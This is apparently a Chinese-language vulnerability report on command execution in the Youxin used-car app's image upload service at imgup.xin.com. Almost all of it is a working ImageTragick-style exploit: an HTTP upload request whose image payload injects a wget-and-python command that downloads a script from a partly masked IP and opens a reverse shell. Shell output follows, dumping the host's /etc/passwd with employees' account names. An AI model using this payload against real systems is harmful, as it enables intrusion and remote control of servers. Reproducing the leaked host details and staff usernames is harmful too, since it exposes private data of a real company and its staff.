优信二手车官方app命令执行

POST /upload.php HTTP/1.1
 Connection: Keep-Alive
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.6)
 Content-Type: multipart/form-data; boundary=---------------------------123821742118716
 Host: imgup.xin.com
 Accept-Encoding: gzip
 Content-Length: 300217
 
 
 -----------------------------123821742118716
 Content-Disposition: form-data; name="app"
 
 xin_app
 -----------------------------123821742118716
 Content-Disposition: form-data; name="key"
 
 RdUAb6GF6uWjqW
 -----------------------------123821742118716
 Content-Disposition: form-data; name="pic"; filename="crop.png"
 Content-Type:image/png
 
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://example.com/image.jpg"|wget 115**02/back.py -O /tmp/x.py && python /tmp/x.py 115.**202 2333")'
 pop graphic-context
 
 -----------------------------123821742118716--

push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://example.com/image.jpg"|wget 115****202/back.py -O /tmp/x.py && python /tmp/x.py 1****.202 2333")'
 pop graphic-context

sh-4.1$ pwd
 pwd
 /data1/webapps/imgup.xin.com/htdocs

sh-4.1$ uname -a
 uname -a
 Linux d1601085.grid.nc.xin.com 2.6.32-573.el6.x86_64 #1 SMP Thu Jul 23 15:44:03 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

sh-4.1$ cat /etc/passwd
 cat /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:/sbin/nologin
 daemon:x:2:2:daemon:/sbin:/sbin/nologin
 adm:x:3:4:adm:/var/adm:/sbin/nologin
 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
 sync:x:5:0:sync:/sbin:/bin/sync
 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
 halt:x:7:0:halt:/sbin:/sbin/halt
 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
 operator:x:11:0:operator:/root:/sbin/nologin
 games:x:12:100:games:/usr/games:/sbin/nologin
 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
 nobody:x:99:99:Nobody:/:/sbin/nologin
 dbus:x:81:81:System message bus:/:/sbin/nologin
 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
 abrt:x:173:173::/etc/abrt:/sbin/nologin
 haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
 ntp:x:38:38::/etc/ntp:/sbin/nologin
 saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
 postfix:x:89:89::/var/spool/postfix:/sbin/nologin
 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
 tcpdump:x:72:72::/:/sbin/nologin
 nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
 dingning:x:1001:1001:dingning,,,:/home/dingning:/bin/bash
 chenwei:x:1003:1003:chenwei,,,:/home/chenwei:/bin/bash
 songqipeng:x:1002:1002:songqipeng,,,:/home/songqipeng:/bin/bash
 chenlimin:x:1004:1004:chenlimin,,,:/home/chenlimin:/bin/bash
 chenkun:x:1005:1005:chenkun,,,:/home/chenkun:/bin/bash
 zhoujiangjun:x:1006:1006:zhoujiangjun,,,:/home/zhoujiangjun:/bin/bash
 nginx:x:510:510::/home/nginx:/sbin/nologin
 rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
 rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
 nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
 liuxiaopeng:x:1007:1007:liuxiaopeng,,,:/home/liuxiaopeng:/bin/bash
 houpengfei:x:1008:1008:houpengfei,,,:/home/houpengfei:/bin/bash